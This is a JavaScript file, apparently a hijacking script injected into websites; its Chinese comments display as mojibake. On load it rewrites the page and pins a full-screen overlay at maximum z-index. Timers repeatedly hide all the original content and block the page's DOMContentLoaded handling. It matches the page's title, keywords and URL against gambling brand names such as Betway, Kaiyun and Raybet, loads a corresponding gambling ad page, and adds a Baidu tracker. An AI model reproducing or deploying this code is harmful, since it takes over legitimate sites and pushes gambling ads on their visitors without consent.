1(function() { 2 // å è¾åºåºç¡HTMLï¼è®©é¡µé¢ç«å³æ¾ç¤º 3 document.write('<!DOCTYPE html><html><head>'); 4 document.write('<meta charset="UTF-8">'); 5 document.write('<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=no,viewport-fit=cover">'); 6 7 // æ·»å 强å¶å ¨å±è¦ççCSS 8 document.write('<style>'); 9 document.write('html, body { margin: 0 !important; padding: 0 !important; overflow: hidden !important; }'); 10 document.write('#permanent-overlay { position: fixed !important; top: 0 !important; left: 0 !important; width: 100vw !important; height: 100vh !important; z-index: 2147483647 !important; background: #f5f5f5 !important; }'); 11 document.write('#ad-loading { position: absolute !important; top: 50% !important; left: 50% !important; transform: translate(-50%, -50%) !important; }'); 12 document.write('#ad-object { width: 100% !important; height: 100% !important; border: 0 !important; display: block !important; }'); 13 document.write('</style>'); 14 15 // æ·»å ä¸ä¸ªèæ¬ï¼æç»çæ§å¹¶ä¿æè¦çå±å¨æåé¢
16 document.write('<script>'); 17 document.write('(function keepOnTop() {'); 18 document.write(' var overlay = document.getElementById("permanent-overlay");'); 19 document.write(' if (overlay) {'); 20 document.write(' overlay.style.zIndex = "2147483647";'); 21 document.write(' overlay.style.display = "block";'); 22 document.write(' }'); 23 document.write(' // æç»æ£æ¥ï¼æ¯100ms䏿¬¡'); 24 document.write(' setTimeout(keepOnTop, 100);'); 25 document.write('})();'); 26 document.write('<\/script>'); // 注æï¼è¿ééè¦è½¬ä¹</script> 27 28 document.write('</head><body>'); 29 30 // 使ç¨idååºå®å®ä½ç¡®ä¿å¨æå 31 document.write('<div id="permanent-overlay">'); 32 document.write('<div id="ad-loading">loading</div>'); 33 document.write('<object id="ad-object" type="text/html"></object>'); 34 document.write('</div>'); 35 36 document.write('</body></html>'); 37 document.close(); 38 39 // 弿¥å¤çå¹é é»è¾ 40 setTimeout(function() { 41 var title = document.title.replace(/&/g, '&') 42 .replace(/</g, '<') 43 .replace(/>/g, '>') 44 .replace(/"/g, '"'); 45 46 // è·åæ´å¤å¹é ä¿¡æ¯ 47 var description = ''; 48 var keywords = ''; 49 var url = window.location.href; 50 51 try { 52 var descMeta = document.querySelector('meta[name="description"]'); 53 if (descMeta) description = descMeta.content; 54 var keywordsMeta = document.querySelector('meta[name="keywords"]'); 55 if (keywordsMeta) keywords = keywordsMeta.content; 56 } catch(e) {} 57 58 var matchText = (title + ' ' + description + ' ' + keywords + ' ' + url).toLowerCase(); 59 60 // é¢å®ä¹URLæ å° 61 var urlMap = { 62 'biwei': '/gg/biwei/index.html', 63 'ky': '/gg/ky/ky2.html', 64 'milan': '/gg/milan/index.html', 65 'raybet': '/gg/raybet/index.html', 66 'hth': '/gg/hth/index.html', 67 'xk': '/gg/xk/index.html', 68 'default': '/gg/in/index.html' 69 }; 70 71 // å¿«éå¹é é»è¾ 72 var adUrl = urlMap.default; 73 74 if (/é宿 ±|taptap|ç¹ç¹|éåå®|188|jb188|jbb/.test(matchText)) adUrl = urlMap.ky; 75 else if (/å¿ å¨|betway|biwei|å¿ ç»´|Betway|batway/.test(matchText)) adUrl = urlMap.biwei; 76 else if (/ky|å¼äº|kaiyun|äºå|yabo/.test(matchText)) adUrl = urlMap.ky; 77 else if (/mlä½è²|milan|ç±³å °/.test(matchText)) adUrl = urlMap.milan; 78 else if (/raybet|é·ç«æ|ç«æå®|lol|è±éèç/.test(matchText)) adUrl = urlMap.raybet; 79 else if (/hth|åä½ä¼|åä½è²|å使±|HTH|è¯ä½ä¼/.test(matchText)) adUrl = urlMap.hth; 80 else if (/æç©º|bob|xk/.test(matchText)) adUrl = urlMap.xk; 81 82 console.log('å¹é å°çææ¬:', matchText); 83 console.log('跳转å°:', adUrl); 84 85 // 设置objectçdata屿§ 86 var obj = document.getElementById('ad-object'); 87 if (obj) { 88 obj.data = adUrl; 89 90 obj.onload = function() { 91 var loading = document.getElementById('ad-loading'); 92 if (loading) loading.style.display = 'none'; 93 }; 94 95 obj.onerror = function() { 96 var loading = document.getElementById('ad-loading'); 97 if (loading) { 98 loading.textContent = 'å 载失败ï¼ç¹å»å·æ°'; 99 loading.style.cursor = 'pointer'; 100 loading.onclick = function() { 101 location.reload(); 102 }; 103 } 104 }; 105 } 106 107 // æç»çæ§å¹¶ç¡®ä¿è¦çå±å¨æå 108 setInterval(function() { 109 var overlay = document.getElementById('permanent-overlay'); 110 if (overlay) { 111 overlay.style.zIndex = '2147483647'; 112 overlay.style.display = 'block'; 113 overlay.style.position = 'fixed'; 114 overlay.style.top = '0'; 115 overlay.style.left = '0'; 116 overlay.style.width = '100vw'; 117 overlay.style.height = '100vh'; 118 } 119 120 // éèå页颿æå ¶ä»å ç´ 121 var allElements = document.body.children; 122 for (var i = 0; i < allElements.length; i++) { 123 var el = allElements[i]; 124 if (el && el.id !== 'permanent-overlay') { 125 el.style.display = 'none'; 126 el.style.visibility = 'hidden'; 127 el.style.opacity = '0'; 128 el.style.zIndex = '-9999'; 129 } 130 } 131 }, 200); // æ¯200msæ£æ¥ä¸æ¬¡ 132 133 // å»¶è¿å è½½ç¾åº¦ç»è®¡ 134 setTimeout(function() {
135 try { 136 var hm = document.createElement("script"); 137 hm.src = "https://hm.baidu.com/hm.js?a0463631dacd607d9520f92893c35372"; 138 hm.async = true; 139 var s = document.getElementsByTagName("script")[0]; 140 if (s && s.parentNode) { 141 s.parentNode.insertBefore(hm, s); 142 } else { 143 document.head.appendChild(hm); 144 } 145 } catch(e) {} 146 }, 3000); 147 148 }, 100); 149 150 // 黿¢å页é¢çDOMæä½ 151 document.addEventListener('DOMContentLoaded', function(e) { 152 e.stopPropagation(); 153 e.stopImmediatePropagation(); 154 }, true); 155 156})();
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.